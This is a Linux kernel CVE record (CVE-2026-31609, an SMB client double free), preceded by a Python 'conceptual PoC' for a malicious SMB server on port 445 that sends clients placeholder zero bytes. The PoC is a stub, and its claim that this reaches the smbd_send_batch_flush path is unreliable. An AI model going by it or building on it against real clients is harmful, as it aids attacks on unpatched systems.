CVE-2026-31609

import socket import struct # This is a conceptual PoC to simulate a malicious SMB server interaction. # Exploiting a Double Free in the kernel requires precise heap grooming. # This script sets up a listener that sends malformed responses to stress the client. MALICIOUS_PAYLOAD = b"\x00\x00\x00\x00" * 100 # Placeholder for specific packet structure def start_malicious_smb_server(): host = '0.0.0.0' port = 445 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) server.listen(1) print(f"[*] Listening on {host}:{port}...") while True: client, addr = server.accept() print(f"[*] Connection from {addr}") try: # Send Negotiate Protocol Response client.send(MALICIOUS_PAYLOAD) # The goal is to trigger the smbd_send_batch_flush path # leading to the double free in the client kernel. except Exception as e: print(f"[-] Error: {e}") finally: client.close() if __name__ == "__main__": start_malicious_smb_server()

{"cve": {"id": "CVE-2026-31609", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:40.160", "lastModified": "2026-04-29T16:45:12.507", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: avoid double-free in smbd_free_send_io() after smbd_send_batch_flush()\n\nsmbd_send_batch_flush() already calls smbd_free_send_io(),\nso we should not call it again after smbd_post_send()\nmoved it to the batch list."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-415"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.18.24", "matchCriteriaId": "E7BFA239-2F39-4B24-92AA-6F60AA187C18"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/22b7c1c619d808aec4cad3dc42103345e370d107", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/27b7c3e916218b5eb2ee350211140e961bfc49be", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a9940dcbe5cb92482c04efc7341039ddf7dbf607", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f9a162c2bbcd0ac85bd07c5b37cf20286048b65c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}